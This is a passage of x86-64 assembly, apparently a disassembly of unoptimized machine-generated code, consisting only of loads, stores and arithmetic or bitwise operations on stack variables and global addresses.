movzx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14019900c], al
mov eax, dword [rsp + 0x41d0]
mov dword [rsp + 0x41d8], eax
mov rax, qword [rsp + 0xa668]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3fdc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4178], eax
lea rax, [rsp + 0x417c]
mov qword [rsp + 0xa820], rax
mov eax, dword [rsp + 0x41a4]
mov ecx, dword [0x14019bef4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa7f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x147]
movzx ecx, byte [rsp + 0x15b]
sub eax, ecx
mov byte [rsp + 0x15d], al
lea rax, [rsp + 0xef4]
mov qword [rsp + 0xa828], rax
mov rax, qword [rsp + 0xa770]
mov rcx, qword [rsp + 0xa7a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0xa830], rax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019d795], al
mov rax, qword [0x14019d7a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0xa730]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb8]
sub eax, ecx
mov word [rsp + 0xee8], ax
lea rax, [rsp + 0x119]
mov qword [rsp + 0xa838], rax
mov rax, qword [rsp + 0xa4c8]
mov ecx, dword [rsp + 0x41d0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4128], eax
lea rax, [rsp + 0x41c4]
mov qword [rsp + 0xa840], rax
mov rax, qword [rsp + 0xa680]
mov ecx, dword [0x14019d7e0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41c0], eax
mov rax, qword [rsp + 0xa670]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4174], eax
mov eax, dword [rsp + 0x4144]
mov dword [rsp + 0x41dc], eax
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
movzx ecx, word [0x14019bef0]
or eax, ecx
mov word [rsp + 0xea4], ax
movzx eax, byte [rsp + 0x156]
movzx ecx, byte [rsp + 0x14e]
sar eax, cl
mov byte [0x140199009], al
mov eax, dword [rsp + 0x4070]
mov dword [rsp + 0x41e0], eax
mov eax, dword [0x14019d830]
mov rcx, qword [rsp + 0xa3b8]
mov qword [rsp + 0xa848], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa848]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3c0]
mov eax, dword [rax]
mov dword [rsp + 0x41e4], eax
mov eax, dword [rsp + 0x41d0]
mov ecx, dword [rsp + 0x4070]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41e0], eax
mov rax, qword [rsp + 0xa648]
movzx eax, word [rax]
movzx ecx, word [0x14019bef0]
sub eax, ecx
mov rcx, qword [rsp + 0xa400]
mov word [rcx], ax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov byte [rsp + 0x163], al
mov rax, qword [rsp + 0xa6d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov rcx, qword [rsp + 0xa658]
mov word [rcx], ax
movsx eax, byte [rsp + 0x14a]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5c], al
mov eax, dword [rsp + 0x418c]
mov dword [0x14019d834], eax
mov rax, qword [rsp + 0xa4a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa488]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa5d8]
mov byte [rcx], al
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0xa850], rax
mov rax, qword [rsp + 0xa830]
mov ecx, dword [rsp + 0x4198]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa770]
mov dword [rcx], eax
mov eax, dword [0x14019d800]
mov dword [rsp + 0x41e8], eax
mov rax, qword [rsp + 0xa3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x416c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0xa5b0]
mov rcx, qword [rsp + 0xa7c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa830]
mov dword [rcx], eax
movzx eax, byte [0x140199009]
mov byte [rsp + 0x164], al
mov rax, qword [rsp + 0xa828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa800]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bf14], ax
mov rax, qword [0x14019d7e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x41d8]
shl eax, cl
mov dword [rsp + 0x41d0], eax
mov eax, dword [rsp + 0x3fc0]
mov dword [rsp + 0x41ec], eax
mov rax, qword [rsp + 0xa4a0]
mov rcx, qword [rsp + 0xa5b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa7c8]
mov dword [rcx], eax
mov eax, dword [0x14019d7e0]
movzx ecx, al
mov eax, dword [rsp + 0x416c]
sar eax, cl
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
lea rax, [rsp + 0x41c0]
mov qword [rsp + 0xa858], rax
mov rax, qword [rsp + 0xa7a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa7d0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x15a], al
lea rax, [rsp + 0xc48]
mov qword [rsp + 0xa860], rax
mov rax, qword [rsp + 0xa768]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec8]
and eax, ecx
mov word [rsp + 0xed4], ax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019900c], al
mov rax, qword [rsp + 0xa758]
mov eax, dword [rax]
mov dword [rsp + 0x41f0], eax
mov eax, dword [rsp + 0x4190]
mov ecx, dword [rsp + 0x41e8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d8], eax
mov rax, qword [rsp + 0xa4f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15d], al
lea rax, [rsp + 0xebc]
mov qword [rsp + 0xa868], rax
mov rax, qword [0x14019d808]
mov ecx, dword [rsp + 0x41c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4178], eax
lea rax, [rsp + 0x41d8]
mov qword [rsp + 0xa870], rax
mov eax, dword [rsp + 0x4198]
mov ecx, dword [rsp + 0x41a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fdc], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0xa670]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa590]
mov dword [rcx], eax
lea rax, [rsp + 0xee4]
mov qword [0x14019d838], rax
mov rax, qword [rsp + 0xa540]
movzx eax, byte [rax]
mov byte [rsp + 0x165], al
mov rax, qword [rsp + 0xa358]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4070], eax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov dword [rsp + 0x41f4], eax
movsx eax, byte [rsp + 0x14b]
movsx ecx, byte [rsp + 0x150]
sub eax, ecx
mov rcx, qword [rsp + 0xa620]
mov byte [rcx], al
movsx eax, word [0x14019bf04]
mov rcx, qword [rsp + 0xa688]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xee0], ax
movzx eax, word [rsp + 0xefc]
mov word [rsp + 0xf00], ax
movzx eax, byte [rsp + 0x159]
movzx ecx, byte [rsp + 0x154]
xor eax, ecx
mov rcx, qword [rsp + 0xa628]
mov byte [rcx], al
mov rax, qword [0x14019d820]
mov eax, dword [rax]
mov dword [rsp + 0x41f8], eax
mov rax, qword [rsp + 0xa6c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa360]
mov qword [rsp + 0xa878], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa878]
mov eax, dword [rax]
shl eax, cl
mov dword [0x14019bf18], eax
mov rax, qword [rsp + 0xa600]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa5c8]
mov qword [rsp + 0xa880], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa880]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa7a0]
mov dword [rcx], eax
lea rax, [rsp + 0x41e8]
mov qword [rsp + 0xa888], rax
mov rax, qword [rsp + 0xa698]
mov ecx, dword [rsp + 0x4188]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa5b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa5d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa720]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa618]
mov byte [rcx], al
mov rax, qword [rsp + 0xa400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa4d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0xa820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x417c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d4], eax
mov rax, qword [rsp + 0xa678]
mov eax, dword [rax]
mov dword [rsp + 0x41fc], eax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x4144]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4150], eax
mov rax, qword [rsp + 0xa650]
mov ecx, dword [rsp + 0x4174]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x14019d7d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x165]
mov rcx, qword [rsp + 0xa838]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x15f], al
movzx eax, word [rsp + 0xe20]
mov word [rsp + 0xf04], ax
mov rax, qword [rsp + 0xa440]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa578]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa808]
mov word [rcx], ax
movzx eax, byte [rsp + 0x14d]
mov byte [rsp + 0x166], al
mov eax, dword [rsp + 0x4194]
mov ecx, dword [rsp + 0x40f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4058], eax
mov rax, qword [rsp + 0xa590]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x417c], eax
lea rax, [rsp + 0x14e]
mov qword [rsp + 0xa890], rax
movzx eax, word [rsp + 0xf04]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa800]
mov word [rcx], ax
mov eax, dword [rsp + 0x4018]
mov dword [0x14019d840], eax
mov eax, dword [rsp + 0x3fc0]
mov dword [rsp + 0x4200], eax
mov rax, qword [rsp + 0xa698]
mov rcx, qword [rsp + 0xa718]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x41dc], eax
mov rax, qword [rsp + 0xa7f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x419c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3fac], eax
lea rax, [rsp + 0xef0]
mov qword [rsp + 0xa898], rax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x151]
sar eax, cl
mov rcx, qword [rsp + 0xa618]
mov byte [rcx], al
lea rax, [rsp + 0x41c0]
mov qword [rsp + 0xa8a0], rax
mov rax, qword [rsp + 0xa7a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4170]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x416c], eax
lea rax, [rsp + 0x41b0]
mov qword [rsp + 0xa8a8], rax
mov rax, qword [rsp + 0xa7a0]
mov ecx, dword [rsp + 0x4144]
mov eax, dword [rax]
and eax, ecx
mov dword [0x14019befc], eax
mov rax, qword [rsp + 0xa5c8]
mov ecx, dword [rsp + 0x3fdc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa700]
mov dword [rcx], eax
movsx eax, word [rsp + 0xd48]
movsx ecx, word [rsp + 0xee0]
add eax, ecx
mov rcx, qword [rsp + 0xa7f8]
mov word [rcx], ax
lea rax, [rsp + 0x150]
mov qword [rsp + 0xa8b0], rax
mov rax, qword [0x14019d818]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x14f], al
movzx eax, word [rsp + 0xee4]
mov word [rsp + 0xf08], ax
mov eax, dword [rsp + 0x41ac]
mov ecx, dword [rsp + 0x4130]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa8a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41ec]
mov ecx, dword [0x14019d830]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa800]
movzx eax, word [rax]
mov word [rsp + 0xf0c], ax
mov rax, qword [rsp + 0xa720]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019900c], al
mov rax, qword [rsp + 0xa4c8]
mov ecx, dword [rsp + 0x41f8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41b0], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov dword [rsp + 0x4204], eax
mov rax, qword [rsp + 0xa3b8]
mov ecx, dword [0x14019bef8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x417c], eax
mov rax, qword [rsp + 0xa748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4148]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa728]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x154]
mov byte [rsp + 0x167], al
movzx eax, word [rsp + 0xf08]
mov rcx, qword [rsp + 0xa850]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa828]
mov word [rcx], ax
mov eax, dword [rsp + 0x415c]
movzx ecx, al
mov eax, dword [rsp + 0x3fdc]
sar eax, cl
mov dword [rsp + 0x3c48], eax
mov eax, dword [rsp + 0x4204]
mov rcx, qword [rsp + 0xa3b0]
mov qword [rsp + 0xa8b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa8b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa8a0]
mov dword [rcx], eax
mov rax, qword [0x14019d798]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x166]
sub eax, ecx
mov byte [0x14019900d], al
movsx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0xa578]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa860]
mov word [rcx], ax
lea rax, [rsp + 0xeb8]
mov qword [rsp + 0xa8c0], rax
mov rax, qword [rsp + 0xa838]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa570]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14f], al
lea rax, [rsp + 0x4148]
mov qword [rsp + 0xa8c8], rax
mov rax, qword [rsp + 0xa798]
mov ecx, dword [rsp + 0x41e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa708]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3d34]
mov dword [rsp + 0x4208], eax
mov rax, qword [rsp + 0xa5c8]
mov rcx, qword [rsp + 0xa820]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4200], eax
mov rax, qword [rsp + 0xa718]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa858]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa380]
movzx eax, word [rax]
mov word [rsp + 0xf10], ax
movzx eax, byte [rsp + 0x14f]
movzx ecx, byte [rsp + 0x15f]
add eax, ecx
mov byte [0x14019900e], al
mov eax, dword [rsp + 0x4128]
mov ecx, dword [rsp + 0x41f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41fc], eax
lea rax, [rsp + 0x4200]
mov qword [rsp + 0xa8d0], rax
mov rax, qword [rsp + 0xa7e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4180]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8a8]
mov ecx, dword [rsp + 0x41c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x41f8], eax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
mov byte [rsp + 0x168], al
mov rax, qword [rsp + 0xa768]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
sub eax, ecx
mov rcx, qword [rsp + 0xa608]
mov word [rcx], ax
movzx eax, byte [0x14019d795]
mov byte [rsp + 0x169], al
movsx eax, word [rsp + 0xc48]
movsx ecx, word [rsp + 0xecc]
shl eax, cl
mov word [rsp + 0xeac], ax
mov eax, dword [rsp + 0x41b0]
mov rcx, qword [rsp + 0xa840]
mov qword [rsp + 0xa8d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa8d8]
mov eax, dword [rax]
shr eax, cl
mov dword [0x14019bef4], eax
mov rax, qword [rsp + 0xa460]
mov eax, dword [rax]
mov ecx, dword [0x14019bee8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d4], eax
lea rax, [rsp + 0x155]
mov qword [rsp + 0xa8e0], rax
movzx eax, word [rsp + 0xea4]
movzx ecx, word [rsp + 0xebc]
xor eax, ecx
mov rcx, qword [rsp + 0xa850]
mov word [rcx], ax
lea rax, [rsp + 0x3d34]
mov qword [rsp + 0xa8e8], rax
mov rax, qword [rsp + 0xa778]
mov rcx, qword [rsp + 0xa888]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa5f0]
mov dword [rcx], eax
lea rax, [rsp + 0x4184]
mov qword [rsp + 0xa8f0], rax
mov eax, dword [0x14019d830]
mov ecx, dword [rsp + 0x4000]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d34], eax
mov rax, qword [rsp + 0xa608]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb08]
sub eax, ecx
mov rcx, qword [rsp + 0xa868]
mov word [rcx], ax
mov rax, qword [rsp + 0xa488]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa8e0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14019d7c0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4128]
mov dword [rsp + 0x420c], eax
mov eax, dword [rsp + 0x4088]
mov ecx, dword [rsp + 0x41f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d34], eax
lea rax, [rsp + 0x4150]
mov qword [rsp + 0xa8f8], rax
mov rax, qword [0x14019d7d8]
mov ecx, dword [rsp + 0x4170]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa698]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41cc]
mov ecx, dword [rsp + 0x41dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa858]
mov dword [rcx], eax
lea rax, [rsp + 0x14a]
mov qword [rsp + 0xa900], rax
mov rax, qword [rsp + 0xa578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa440]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc48], ax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb8]
add eax, ecx
mov word [0x14019bf1c], ax
mov rax, qword [rsp + 0xa778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x418c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4130], eax
mov eax, dword [rsp + 0x4018]
mov ecx, dword [rsp + 0x4058]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa778]
mov dword [rcx], eax
lea rax, [rsp + 0x15b]
mov qword [rsp + 0xa908], rax
mov rax, qword [rsp + 0xa768]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa608]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xec0], ax
lea rax, [rsp + 0x4088]
mov qword [rsp + 0xa910], rax
mov eax, dword [0x14019d800]
mov rcx, qword [rsp + 0xa678]
mov qword [rsp + 0xa918], rcx
movzx ecx, al
mov rax, qword [rsp + 0xa918]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x419c], eax
mov rax, qword [rsp + 0xa770]
mov ecx, dword [rsp + 0x415c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x416c], eax
lea rax, [rsp + 0x4188]
mov qword [rsp + 0xa920], rax
movzx eax, word [rsp + 0xec0]
mov word [0x14019d844], ax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14e]
sub eax, ecx
mov rcx, qword [rsp + 0xa618]
mov byte [rcx], al
mov eax, dword [rsp + 0x4058]
mov dword [rsp + 0x4210], eax
mov rax, qword [rsp + 0xa7b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4174], eax
lea rax, [rsp + 0xee0]
mov qword [rsp + 0xa928], rax
movsx eax, byte [rsp + 0x14a]
mov rcx, qword [rsp + 0xa620]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5c], al
movzx eax, word [rsp + 0xedc]
movzx ecx, word [0x14019bf1c]
sub eax, ecx
mov word [rsp + 0xee4], ax
lea rax, [rsp + 0x14f]
mov qword [rsp + 0xa930], rax
mov eax, dword [rsp + 0x4194]
mov ecx, dword [rsp + 0x41a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x418c], eax
mov rax, qword [rsp + 0xa910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41ec]
add ecx, eax
mov eax, ecx
mov dword [0x14019befc], eax
lea rax, [rsp + 0x3cbc]
mov qword [rsp + 0xa938], rax
mov rax, qword [rsp + 0xa708]
mov ecx, dword [rsp + 0x3f5c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa678]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6c8]
mov ecx, dword [0x14019bef8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x40e4], eax
mov rax, qword [rsp + 0xa500]
movzx eax, word [rax]
mov word [rsp + 0xf14], ax
movzx eax, byte [rsp + 0x147]
mov rcx, qword [rsp + 0xa838]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa890]
mov byte [rcx], al
mov rax, qword [rsp + 0xa830]
mov ecx, dword [0x14019befc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3b8c], eax
mov eax, dword [rsp + 0x41d8]
movzx ecx, al
mov eax, dword [rsp + 0x41fc]
shr eax, cl
mov dword [rsp + 0x41c4], eax
mov rax, qword [rsp + 0xa810]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4080]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa598]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa360]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4144]
shl eax, cl
mov dword [0x14019bf20], eax
mov rax, qword [rsp + 0xa908]
movzx eax, byte [rax]
mov byte [rsp + 0x16b], al
movzx eax, word [rsp + 0xef8]
movzx ecx, word [0x14019bf08]
and eax, ecx
mov word [rsp + 0xec4], ax
mov rax, qword [rsp + 0xa7d0]
movzx eax, byte [rax]
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0xa6b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov eax, dword [rsp + 0x40f0]
mov dword [rsp + 0x4214], eax
mov rax, qword [rsp + 0xa598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4208]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4188], eax
mov rax, qword [rsp + 0xa780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa720]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa890]
mov byte [rcx], al
movzx eax, word [rsp + 0xec0]
mov word [rsp + 0xf18], ax
mov rax, qword [rsp + 0xa6a8]
mov eax, dword [rax]
mov ecx, dword [0x14019d800]
add ecx, eax
mov eax, ecx
mov dword [0x14019bef4], eax
mov rax, qword [rsp + 0xa590]
mov ecx, dword [rsp + 0x400c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa598]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa698]
mov eax, dword [rax]
mov dword [rsp + 0x4218], eax
mov eax, dword [rsp + 0x418c]
mov ecx, dword [0x14019bef4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x41d0], eax
mov rax, qword [rsp + 0xa6c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa648]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa4d0]
mov word [rcx], ax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xa940], rax
mov eax, dword [rsp + 0x41a0]
mov ecx, dword [rsp + 0x400c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x417c], eax
lea rax, [rsp + 0x41d4]
mov qword [rsp + 0xa948], rax
mov rax, qword [rsp + 0xa4a8]
mov ecx, dword [0x14019bef4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4190], eax
lea rax, [rsp + 0x41cc]
mov qword [0x14019d848], rax
mov eax, dword [rsp + 0x4088]
movzx ecx, al
mov eax, dword [rsp + 0x400c]
sar eax, cl
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0xa900]
movzx eax, byte [rax]
mov byte [rsp + 0x16d], al
movsx eax, word [0x14019bf04]
movsx ecx, word [rsp + 0xecc]
or eax, ecx
mov rcx, qword [rsp + 0xa688]
mov word [rcx], ax
movzx eax, byte [rsp + 0x163]
mov byte [rsp + 0x16e], al
movzx eax, word [rsp + 0xeec]
mov rcx, qword [rsp + 0xa828]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa548]
mov word [rcx], ax
mov rax, qword [rsp + 0xa728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4210]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x419c], eax
mov rax, qword [rsp + 0xa8e8]
mov eax, dword [rax]
mov dword [rsp + 0x421c], eax
movzx eax, byte [rsp + 0x163]
movzx ecx, byte [0x14019900a]
and eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0xa640]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa608]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bf0c], ax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0xa428]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3418], eax
mov rax, qword [rsp + 0xa6b8]
mov ecx, dword [rsp + 0x416c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4144], eax
lea rax, [rsp + 0x3d34]
mov qword [rsp + 0xa950], rax
mov eax, dword [rsp + 0x41f0]
mov ecx, dword [rsp + 0x4070]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4214], eax
mov rax, qword [rsp + 0xa4d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa850]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa548]
mov word [rcx], ax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xa958], rax
mov eax, dword [rsp + 0x4208]
mov ecx, dword [rsp + 0x41bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa858]
mov dword [rcx], eax
lea rax, [rsp + 0x3fc0]
mov qword [rsp + 0xa960], rax
movsx eax, word [rsp + 0xeb0]
movsx ecx, word [rsp + 0xd48]
and eax, ecx
mov word [0x14019bf24], ax
movsx eax, byte [rsp + 0x166]
mov rcx, qword [rsp + 0xa818]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa620]
mov byte [rcx], al
movzx eax, word [rsp + 0xe20]
movzx ecx, word [rsp + 0xec4]
sar eax, cl
mov word [rsp + 0xf18], ax
lea rax, [rsp + 0x157]
mov qword [rsp + 0xa968], rax
mov rax, qword [0x14019d7b8]
mov eax, dword [rax]
